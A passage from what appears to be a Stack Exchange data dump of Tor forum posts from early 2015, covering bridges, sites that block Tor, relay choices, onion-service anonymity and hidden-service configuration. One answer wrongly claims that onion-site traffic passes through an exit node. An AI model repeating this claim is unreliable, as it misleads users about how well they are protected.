href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/networkstatus.c#n733&quot; rel=&quot;nofollow&quot;&gt;line 733 in &lt;code&gt;networkstatus.c&lt;/code&gt;&lt;/a&gt;. It has a bit more logic inside. However as far as I see it, it waits until the current consensus is older than the current time. If this happens a new document is fetched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set logging at info level and will find lines like the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jan 28 18:21:51.000 [info] update_consensus_networkstatus_downloads(): Launching microdesc networkstatus consensus download.&lt;br /&gt;&#xA;  Jan 28 19:36:04.000 [info] update_consensus_networkstatus_downloads(): Launching microdesc networkstatus consensus download.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Summary: Every minute it is checked if the consensus document is too old. If it is older than the current time a new one will be fetched.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2015-01-28T20:29:31.617" LastActivityDate="2015-01-28T20:29:31.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6099" PostTypeId="1" AcceptedAnswerId="6104" CreationDate="2015-01-28T15:18:10.960" Score="3" ViewCount="660" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;Tor doc&lt;/a&gt; says :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can also get bridges by sending mail to bridges@bridges.torproject.org with the line &quot;get bridges&quot; by itself in the body of the mail. You'll need to send this request from a Gmail, Riseup!, or Yahoo! account, though — we only accept these providers because otherwise we make it too easy for an attacker to make a lot of email addresses and learn about all the bridges.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can we explain why a Gmail or Yahoo account is more secure ? Gmail is under Patriot Act and has been releasing info to government agencies. &lt;/p&gt;&#xA;" OwnerDisplayName="user6548" LastEditorUserId="88" LastEditDate="2015-01-28T17:35:28.220" LastActivityDate="2015-01-28T18:07:45.657" Title="Getting bridges via Gmail or Yahoo a &quot;secure&quot; way?" Tags="|tor-browser-bundle|bridge|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6102" PostTypeId="2" ParentId="6099" CreationDate="2015-01-28T15:51:26.233" Score="1" Body="&lt;p&gt;The methodology to get bridges by any email account as described in your question is categorically unsecure and jeopardize the anonymity of the user. For additional explanation of this issue please read this question. &lt;a href=&quot;https://tor.stackexchange.com/questions/3511/does-using-email-to-send-bridges-and-pluggable-transport-bridges-hinder-anonymit&quot;&gt;Does using Email to send bridges and pluggable transport bridges hinder anonymity?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gmail, Yahoo or others does not make any difference as far as the users are concerned. Tor restrict the Email providers to put some cap on the botnet for their internal advantage.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-28T18:07:45.657" LastActivityDate="2015-01-28T18:07:45.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6103" PostTypeId="2" ParentId="3511" CreationDate="2015-01-28T16:02:41.827" Score="0" Body="&lt;p&gt;One solution to this problem is to emplyee a secure Drop Box similar to what a lot of other organizations do. This question is asking information about Drop Box: &lt;a href=&quot;https://tor.stackexchange.com/questions/4776/is-there-a-secure-drop-available-for-tor-project&quot;&gt;Is there a secure drop available for Tor project?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-28T16:02:41.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6104" PostTypeId="2" ParentId="6099" CreationDate="2015-01-28T17:44:23.093" Score="1" Body="&lt;p&gt;One important point with bridges is that they should not be easily available. Because if that happens an attacker could just retrieve the addresses and block them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridges are distributed in several ways. One of them is by mail. Some mail providers make it quite easy to set up hundreds, if not thousands of addresses. So an attacker could just set up many mail addresses and send a &lt;code&gt;get bridges&lt;/code&gt; mail. This way he learns about all bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GMail, Yahoo and RiseUp make setting up lots of mail addresses considerably hard. So an attacker has to put lots of effort into this. Thatswhy the Tor Project chose those mail providers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the point is not more security in terms of security against mass surveillance, but keep the addresses of bridges hidden/raise the bar for the attacker.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-01-28T17:44:23.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6105" PostTypeId="2" ParentId="6026" CreationDate="2015-01-28T20:21:40.270" Score="3" Body="&lt;p&gt;That is an issue in Norton ConnectSafe DNS. It is resolving invalid domain names. What is really happening is that Norton ConnectSafe DNS redirects to a Norton domain (used for advertising) in the case of misspelled or non-existant domain names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this behavior cannot changed from the user side. It is up to Norton to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a fix for your problem, you can use an alternative parent control solution (if it is DNS-based, it shouldn't redirect invalid domain names), or set up a separate machine as Tor relay and give it different DNS settings that will overwrite those of the router. &lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-28T20:21:40.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6106" PostTypeId="2" ParentId="4776" CreationDate="2015-01-29T07:15:32.133" Score="0" Body="&lt;p&gt;No, Tor project does not provide such service. On the other hand, you can encrypt your email content using OpenPGP encryption, and use a hidden email service (such as mail2tor.com), that enables you to send emails to the clearnet, in order to hide your identity.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-29T07:15:32.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6107" PostTypeId="2" ParentId="5995" CreationDate="2015-01-29T07:42:32.727" Score="4" Body="&lt;p&gt;Setting up an account on Wikipedia does not necessarily lead to pseudonomymizing. The idea behind that is not to link your account to your real ID, but rather to link your account to your behavior on Wikipedia, whether it is good editing, bad editing, vandalizing, or spamming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an approach that would not endanger your anonymity:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Access Wikipedia from a public WiFi network (such as those found in Cafes), and set up an account there. I recommend entering an email address provided by one of the hidden email service providers.&lt;/li&gt;&#xA;&lt;li&gt;Ask for Tor to be unbanned on your account.&lt;/li&gt;&#xA;&lt;li&gt;Now you can access your account via Tor without the risk of pseudonymizing. Your account should stand as long as your abiding by Wikipedia rules.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="88" LastEditDate="2015-01-29T09:24:36.797" LastActivityDate="2015-01-29T09:24:36.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6108" PostTypeId="1" CreationDate="2015-01-29T16:15:32.337" Score="1" ViewCount="215" Body="&lt;p&gt;I apologize in advance for my lack of understanding. I am planning on starting an adult content website which I plan on running 100% legally and in compliance with all rules and regulations. However, I do not want the general public knowing or finding out who I am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Tor as it stands poses risks for exit relays from large agencies like NSA, FBI etc., but would it protect me enough from journalists?&lt;/p&gt;&#xA;" OwnerUserId="6630" LastEditorUserId="923" LastEditDate="2015-01-30T06:52:00.890" LastActivityDate="2015-02-01T14:07:29.820" Title="Is browsing with Tor safe against non government entities?" Tags="|anonymity|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6109" PostTypeId="1" CreationDate="2015-01-29T20:08:02.903" Score="4" ViewCount="3376" Body="&lt;p&gt;I am trying to access a website with Tor and recently it began rejecting my traffic with &quot;Gateway GEO - IP Alert    This request is blocked by the SonicWall Gateway GEO IP service.&quot;  I looked around and it seems this website has blocked all Tor traffic.  How can I get around this?  Thanks,&lt;/p&gt;&#xA;" OwnerUserId="6633" LastEditorUserId="88" LastEditDate="2016-05-17T07:19:31.200" LastActivityDate="2016-05-17T07:19:31.200" Title="Website blocking Tor Traffic" Tags="|tor-browser-bundle|censorship|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6111" PostTypeId="2" ParentId="6109" CreationDate="2015-01-30T06:43:18.157" Score="3" Body="&lt;p&gt;Some websites tend to block IP addresses of Tor exit nodes because the abuse they get from some users anonymously accessing the site using the Tor network. When the website takes such decision, there is no way to circumvent it, as long as they keep their list of Tor exit nodes updated (which they usually do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the website in question allow users to make accounts or pseudonyms, you may want to ask them to unban Tor access from your account only. Wikipedia follows this approach, i.e. banning Tor visitors from editing the wiki, but allowing few users to edit the wiki while using Tor as long as they abide by Wikipedia rules and etiquette.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-30T06:43:18.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6112" PostTypeId="2" ParentId="6108" CreationDate="2015-01-30T06:59:38.220" Score="1" Body="&lt;p&gt;Yes, Tor can provide the level of anonymity you desire, as long as your adversary is not a government agency or someone as resourceful as them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, Tor itself is not enough to secure your anonymity. Make sure you are taking the steps to make any private information related to you unavailable to the public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you register for real domain name (as opposed to an .onion domain name which does not require any contact information), the domain name registrar will ask for your name, adddress, contact phone (and they emphasize you give the correct info lest they'll cancel your service), and they publish it in their &#xA;&quot;whois&quot; records so anyone in the world can read it. To prevent the publication of &quot;whois&quot; inforamtion, every domain registrar has an extra (requiring more payment) service that anonymize your private data in their &quot;whois&quot; records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, make sure you don't publish any private information (personal email addresses, names, phone numbers, etc.) on your site, or put your personal email address (or any email address that contains your name or is linked to it) in the contact address of your webserver, blog or site. If you are using third-party services in your site (electronic payment service), make sure they you are putting your site name on the receipts and not anything related to your identity or bank account.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="923" LastEditDate="2015-01-30T07:15:11.840" LastActivityDate="2015-01-30T07:15:11.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6113" PostTypeId="2" ParentId="4613" CreationDate="2015-01-30T07:43:29.580" Score="2" Body="&lt;p&gt;You'll just have to put the privatekey along with the hostname file in folder, and add the corresponding &lt;strong&gt;HiddenServiceDir&lt;/strong&gt; and &lt;strong&gt;HiddenServicePort&lt;/strong&gt; commands in your &lt;em&gt;torrc&lt;/em&gt; file. Just like what you would do when hosting a new .onion address. When you do that, anyone trying to access the .onion site address in question will reach your site not the old one, since you've declared your ownership of the .onion domain later. The original can re-declare his ownership after that just like you did, so it can become a loop, but he cannot change the private key unless he wants to change the .onion domain.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="923" LastEditDate="2015-01-30T10:11:31.493" LastActivityDate="2015-01-30T10:11:31.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6114" PostTypeId="2" ParentId="6109" CreationDate="2015-01-30T09:22:35.433" Score="2" Body="&lt;p&gt;One way to circumvent the blockage is to send the output of Tor network to a VPN or Web proxy as shown blow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client---Tor---VPN---Destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client---Tor---Web proxy---Destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show more detail it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client---Guard---middle node---exit node---VPN---Destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client---Guard---middle node---exit node---Web proxy---Destination site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out how to do this, look at this Q&amp;amp;A: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1232/me-tor-vpn-how&quot;&gt;Me -&amp;gt; Tor -&amp;gt; Vpn [How?]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-30T09:58:01.927" LastActivityDate="2015-01-30T09:58:01.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6115" PostTypeId="1" CreationDate="2015-01-30T15:33:22.027" Score="5" ViewCount="501" Body="&lt;p&gt;I recently started a Tor Relay on my own VPS. It has 500GB bandwidths each month, and I limited bandwidth rate to 1500 KBytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know which one is better for Tor network:&#xA;Running a fast relay that exhausts it's bandwidth in two weeks (like mine) or running a Tor relay that is slower but is always available ?&lt;/p&gt;&#xA;" OwnerUserId="6639" LastEditorUserId="923" LastEditDate="2015-01-30T16:59:51.977" LastActivityDate="2015-02-06T17:22:46.777" Title="Should I run fast Tor relay or a stable relay is fine?" Tags="|relays|bandwidth|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6116" PostTypeId="1" CreationDate="2015-01-30T15:37:30.520" Score="3" ViewCount="320" Body="&lt;p&gt;If the connection not leave the Tor network, so I am browsing only onion site, for example: Tor email through Tor browser/network, Tor website admins know my identifiable data? What kind of data is available to admins? For example: Real IP? I know admin can read my email on the server, if I am not using encryption, but it isn't problem right now. The question is, can the administrator track my location? So what can they do, if the NSA running the hidden website (for example a honeypot)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I read, Tor's weak point is exit node, so I am thinking, what will happen, if I don't leave the Tor, and I don't use exit node. &lt;/p&gt;&#xA;" OwnerUserId="6638" LastEditorUserId="923" LastEditDate="2015-01-30T17:55:53.063" LastActivityDate="2015-01-30T19:36:19.793" Title="Will I be anonym while I connect to onion domain through Tor?" Tags="|anonymity|onion-services|security|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6117" PostTypeId="2" ParentId="6115" CreationDate="2015-01-30T17:38:50.657" Score="2" Body="&lt;p&gt;The choice is yours to make. There are advantages and disadvantages to both scenarios. Some of the advantages and disadvantages of each scenario are listed below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages of stable relay:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the relay is fast enough at the time of entering the network according to rules and regulations applied to relays at that particular period of time (These rules and regulations are subject to change without notice), an stable relay has a chance to become Guard. Once it become a guard, you maybe able to use it as your own guard if you desire to do so and improve the chances of having uncompromised guard. An unstable relay does not have any chance of becoming guard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In general an unstable relay is not generally considered as useful as stable relay and may not have the same level of prestige.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Advantages of fast relay:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Some users may prefer fast relays and could change their circuit if it does not include fast relays.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You need to think about these points and other points that may be important to you but not listed here and decide on your own preference. Remember at the end the choice is yours to make to best suit your aspirations. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-31T12:13:27.343" LastActivityDate="2015-01-31T12:13:27.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6118" PostTypeId="2" ParentId="6116" CreationDate="2015-01-30T19:11:05.163" Score="2" Body="&lt;p&gt;It is all the game of probability. There no definite answer to your question. It depends on lots of factors, but let us take one scenario out of the table. Read the below declaration first:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor doesn't protect you from a global adversary&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A global passive adversary would be a person or an entity able to&#xA;  monitor at the same time the traffic between all the computers in a&#xA;  network. By studying, for example, the timing and volume patterns of&#xA;  the different communications across the network, it would be&#xA;  statistically possible to identify Tor circuits and thus matching Tor&#xA;  users and destination servers.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is part of Tor's initial trade-off not to address such a threat in&#xA;  order to create a low-latency communication service usable for web&#xA;  browsing, Internet chat or SSH connections.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If your adversary is NSA or similar entities, there are considered to be global adversaries and Tor can not protect you against them. There is no game of probability about this. It is stated as definite warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read the more complete list of the warnings here: &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/about/warning/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of your concern relate to non state entities, thus non global adversaries then we are talking about the game of probability. If you encounter a honeypot, then there is a good chance that you eventually will be de-anonymized. Depending on how fast, how much information you provide to the site and how often you visit the site, plus the nature of the site. The best approach to the best of my knowledge is not to trust any site until the evidence convince you that the site is not a honeypot beyond reasonable doubt. One important point here is eveything should be evidence based and nothing should be faith based as far as trusting these sites are concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always leave some probability for error in judgment and mistakes and have a backup plan when these mistakes and error in judgement occur. For example one established way to increase the security is to make layers after layers of barriers, so that once some of these layers are broken you still remain safe. One of these barriers could be Tor or even better using Tor through Tails. But of course this is not enough. You need to connect to Tails at some remote location at least 100 miles from your place of residence, work, study in Starbucks like caffe which does not employee surveillance cameras. Also please read my answer to this question for additional clues of what you need to observe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6061/can-an-ip-address-get-you-caught/6066#6066&quot;&gt;Can an IP address get you caught?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-30T19:36:19.793" LastActivityDate="2015-01-30T19:36:19.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6119" PostTypeId="2" ParentId="6116" CreationDate="2015-01-30T19:12:15.357" Score="1" Body="&lt;p&gt;Whether you are using Tor to browse an ordinary or an onion site, the site admin cannot know your IP address, since the traffic will appear as originating from the last Tor node it passes through, which is called a Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, a Tor exit node is used whether you are you are browsing an onion site or a normal one. It is the node where the last layer of data encryption is decrypted (so if you are not using HTTPS, a Tor exit node can see the content), and the data will be forwarded to the destination address (address of the website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the ideal situation. In non-ideal cases, there are applications such as BitTorrent clients that can leak your IP address, so better to avoid them. Also some javascript exploits have been discovered in the past and allowed at the time to leak addresses. Those kind of breaches are on the application-level and are no responsibility of Tor, because they happen due to applications or protocols that you can choose not to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, Tor itself is not invincible. There are many researches concerning security attacks on Tor, and there have been many incidents where people using Tor or hosting a hidden service have been tracked (although in some cases it was due to human errors not due to a weakness in Tor). At any rate, Tor is not 100% safe anonymizing solution, but it is certainly safer than most of the other solutions, and if combined with something else (such as VPNs, proxies, accessing the net from public WiFi networks), it can greatly increase your level of protection.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-30T19:12:15.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6120" PostTypeId="1" CreationDate="2015-01-30T23:46:25.097" Score="1" ViewCount="76" Body="&lt;p&gt;I'm from Italy and the Google Earth server seems inaccesible because of censorship. &#xA;I've tried many free Web proxies without success.&#xA;Can Tor help me to resolve the problem ?&lt;/p&gt;&#xA;" OwnerUserId="6641" LastEditorUserId="923" LastEditDate="2015-01-31T04:05:12.120" LastActivityDate="2015-01-31T07:34:05.600" Title="Google Earth server inaccesible" Tags="|help|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6121" PostTypeId="1" CreationDate="2015-01-31T06:14:00.387" Score="2" ViewCount="540" Body="&lt;p&gt;I installed Tor and a webserver on a box running Centos 6, the webserver is working fine but Tor is not starting correctly or creating the hostname file. When I try to start it, it says this:&lt;br&gt;&#xA;&lt;code&gt;[root@EU1 ~]# /etc/init.d/tor restart&#xA;Stopping tor:                                              [FAILED]&#xA;Raising maximum number of filedescriptors (ulimit -n) to 16384.&#xA;Starting tor:                                              [  OK  ]&#xA;[root@EU1 ~]# ulimit -n&#xA;65000&#xA;[root@EU1 ~]#&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6642" LastEditorUserId="923" LastEditDate="2015-01-31T06:59:50.847" LastActivityDate="2015-01-31T06:59:50.847" Title="Tor won't start, no hostname" Tags="|configuration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6122" PostTypeId="2" ParentId="4066" CreationDate="2015-01-31T07:08:20.543" Score="1" Body="&lt;p&gt;The answer is in one of the links you referred to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Security implications:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;The upside is that this limits the bandwidth amplification factor to&#xA;  K: for an individual circuit to become arbitrary-length, the attacker&#xA;  would need an adversary-controlled node every K hops, and at that&#xA;  point the attack is no worse than if the attacker creates N/K separate&#xA;  K-hop circuits.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since, the circuit has a limit on the maximum number of hops now, the clients should send RELAY cells at the first hop (that may be used as EXTEND cells by RELAY_EARLY cells later in the circuit), as to obscure more the final length of the circuit. So the meaning of &quot;partially conceal&quot; is not making it less secure. It is because the actual concept make it easier for the attacker to guess the circuit length (or at least be right sometimes in one of his guesses) unless the client names more RELAY cells at the beginning (that may be used or dropped in the circuit) to throw the attacker off.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-31T07:08:20.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6123" PostTypeId="2" ParentId="6120" CreationDate="2015-01-31T07:34:05.600" Score="1" Body="&lt;p&gt;Yes, you should be able to access Google Earth (or any other censored site) by using Tor. Take note that Google Earth plugin for browsers will need Javascript enabled, but that may not be a concern for you if bypassing censorship is what you want, not total anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use Tor, the easiest way to download, install and run the &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Bundle&lt;/a&gt;. It is a customized Firefox browser that allows you to surf the web using Tor. So make sure you use the Web plugin of Google Earth, not the Desktop software, as the latter wouldn't be able to run on the Tor extensions provided by the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor is blocked by your ISP, you can use &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports&lt;/a&gt; to be able to connect to the Tor network. It is an option that is now embedded in the Tor Browser, where you can specify when it first runs if you want to connect to the Tor network directly or using Tor bridges if access to Tor is blocked.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-31T07:34:05.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6124" PostTypeId="2" ParentId="5979" CreationDate="2015-01-31T11:25:24.273" Score="0" Body="&lt;p&gt;If you're looking for an easy way to run Tor on Windows, the &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Bundle&lt;/a&gt; is the easiest way. If you install it on every Windows machine, practically all traffic going to pass in the wireless access point will go through the Tor network. Smartphone have their own apps that allow them to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not what you need, and you are seeking a software-based solution to configure your access point to use Tor, then that is harder to carry out, and there is no way to do it from Windows. You'll have to either use a pre-configured router with Tor pre-installed such as Anonabox, or set up a Linux machine with wireless network card as access point, configure it as a router, and install Tor on it so it can connect all your wireless devices through Tor. This will require a certain level of knowledge in Linux administration &amp;amp; networking.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-31T11:25:24.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6125" PostTypeId="1" CreationDate="2015-01-31T16:57:02.933" Score="1" ViewCount="2546" Body="&lt;p&gt;I read on many tutorials and websites that Tor will generate the hostname for you and put in a certain file, however it is not doing it and when I &lt;a href=&quot;https://tor.stackexchange.com/questions/6121/tor-wont-start-no-hostname&quot;&gt;asked&lt;/a&gt; why, someone replied saying that is not what happens but that you need to create and configure it yourself. How do I do this? &lt;/p&gt;&#xA;" OwnerUserId="6642" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-06-01T10:21:08.497" Title="How do I create and configure a hidden service hostname?" Tags="|onion-services|configuration|web-hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6126" PostTypeId="2" ParentId="6125" CreationDate="2015-01-31T20:42:51.033" Score="2" Body="&lt;p&gt;Assuming the program that generated the hostname for you is working properly, it should give you 2 files, once called &lt;code&gt;hostname&lt;/code&gt; and the other called &lt;code&gt;private_key&lt;/code&gt;. Put the 2 files in one folder, for example &lt;code&gt;/home/user/tor_private&lt;/code&gt;. The next step is to add a reference to this folder in your torrc file. Open your torrc file (it is in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; when you use some sort of GNU/Linux), and add the following two lines at the end of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /home/user/tor_private&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, don't forget to tell your webserver (e.g. apache2) about the folder where you are putting your website files (your HTML files). Then, you'll have to restart Tor, and your webserver (e.g. apache2) afterwards, and your site will become accessible from the Tor network. The onion address of your website can be found in the &lt;code&gt;hostname&lt;/code&gt; file you've put in &lt;code&gt;/home/user/tor_private&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Few recommendations you should be aware of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For security reasons, it is not advised to run Tor using the root user. Instead create a user for Tor. Some Linux distros such as Debian automatically create a user called &lt;code&gt;debian-tor&lt;/code&gt; when you install the Tor package. Use the Tor user (you created or already created by the system) to run Tor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure only root or the Tor user have read access on the folder &lt;code&gt;/home/user/tor_private&lt;/code&gt;. So the permissions on the folder should be 700.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't put your website files inside &lt;code&gt;/home/user/tor_private&lt;/code&gt;. That folder is only for storing your private key. Put them somewhere else accessible by the webserver.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't share the &lt;code&gt;private_key&lt;/code&gt; file with anybody. If anybody gets his hand on this file, you can take over your onion address and you'll loose ownership to your site!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="88" LastEditDate="2015-04-02T09:51:04.227" LastActivityDate="2015-04-02T09:51:04.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6127" PostTypeId="1" AcceptedAnswerId="6128" CreationDate="2015-02-01T01:36:45.320" Score="2" ViewCount="71" Body="&lt;p&gt;I'm relatively new to Tor and I was wondering if get variables in the address bar are visible to anyone other than the client and the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;randomaddress.onion/login.php?a=47&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would anyone be able to see that &lt;code&gt;a&lt;/code&gt; is &lt;code&gt;47&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6643" LastActivityDate="2015-02-01T02:19:33.363" Title="Are get variables encrypted when using Tor?" Tags="|onion-services|security|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6128" PostTypeId="2" ParentId="6127" CreationDate="2015-02-01T02:19:33.363" Score="1" Body="&lt;p&gt;No.&#xA;Hidden Services connection encrypts everything your browser sends. The variables are just a part of address and thus cannot be read because the address is encrypted.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-02-01T02:19:33.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
